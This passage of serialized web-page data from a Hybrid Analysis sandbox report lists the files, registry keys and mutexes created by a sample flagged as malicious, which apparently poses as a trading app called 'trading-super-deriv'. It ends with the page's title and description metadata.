bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\sk.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\sl.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\sr.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\sv.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\sw.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\ta.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\te.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\th.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\tr.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\uk.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\ur.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\vi.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\zh-CN.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\locales\\zh-TW.pak","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\resources\\app.asar","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\resources\\elevate.exe","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\nse95AF.tmp\\StdUtils.dll","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%TEMP%\\sslkey.txt","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Local Storage\\leveldb\\LOG","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Local Storage\\leveldb\\LOCK","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Local Storage\\leveldb\\MANIFEST-000001","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Local Storage\\leveldb\\000001.dbtmp","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Code Cache\\js\\index","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Code Cache\\wasm\\index","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Code Cache\\js\\index-dir\\temp-index","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Code Cache\\wasm\\index-dir\\temp-index","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Network\\NetworkDataMigrated","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\GPUCache\\index","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\GPUCache\\data_0","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\GPUCache\\data_1","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\GPUCache\\data_2","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\GPUCache\\data_3","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\DawnCache\\index","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\DawnCache\\data_0","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\DawnCache\\data_1","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\DawnCache\\data_2","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\DawnCache\\data_3","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Local Storage\\leveldb\\000003.log","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Shared Dictionary\\cache\\index","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Shared Dictionary\\db","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Shared Dictionary\\db-journal","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Network\\Trust Tokens","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Network\\Trust Tokens-journal","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Shared Dictionary\\cache\\index-dir\\temp-index","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"path":"%APPDATA%\\trading-super-deriv\\Network\\06c22772-9d60-496b-91b1-de9664bf0a0e.tmp","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\LOCATION AWARENESS\\","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4416:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4416:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4416:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"SM0:4416:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"Local\\SM0:4416:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"Local\\SM0:4416:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6124:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6124:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"Local\\SM0:6124:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"SM0:6124:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4288:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4288:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"SM0:4288:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]},{"name":"Local\\SM0:4288:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"682dca20a8bf6f7688083701"}]}]}},"report_ids":{"sandbox_job_ids":["682dca20a8bf6f7688083701"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Malware.Generic Sample b2a203b93919… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample b2a203b93919…. Malware family: Malware.Generic. Threat score 100/100. 2/25 AV engines flagged this file. 11 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/b2a203b9391987049ad60c826e6d7a76554f38dfc8b9ce88fea083ca1b106800"}],["$","meta","4",{"property":"og:title","content":"Malicious Malware.Generic Sample b2a203b93919… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample b2a203b93919…. Malware family: Malware.Generic. Threat score 100/100. 2/25 AV engines flagged this file. 11 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/b2a203b9391987049ad60c826e6d7a76554f38dfc8b9ce88fea083ca1b106800"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Malware.Generic Sample b2a203b93919… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample b2a203b93919…. Malware family: Malware.Generic. Threat score 100/100. 2/25 AV engines flagged this file. 11 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L71","11",{}]]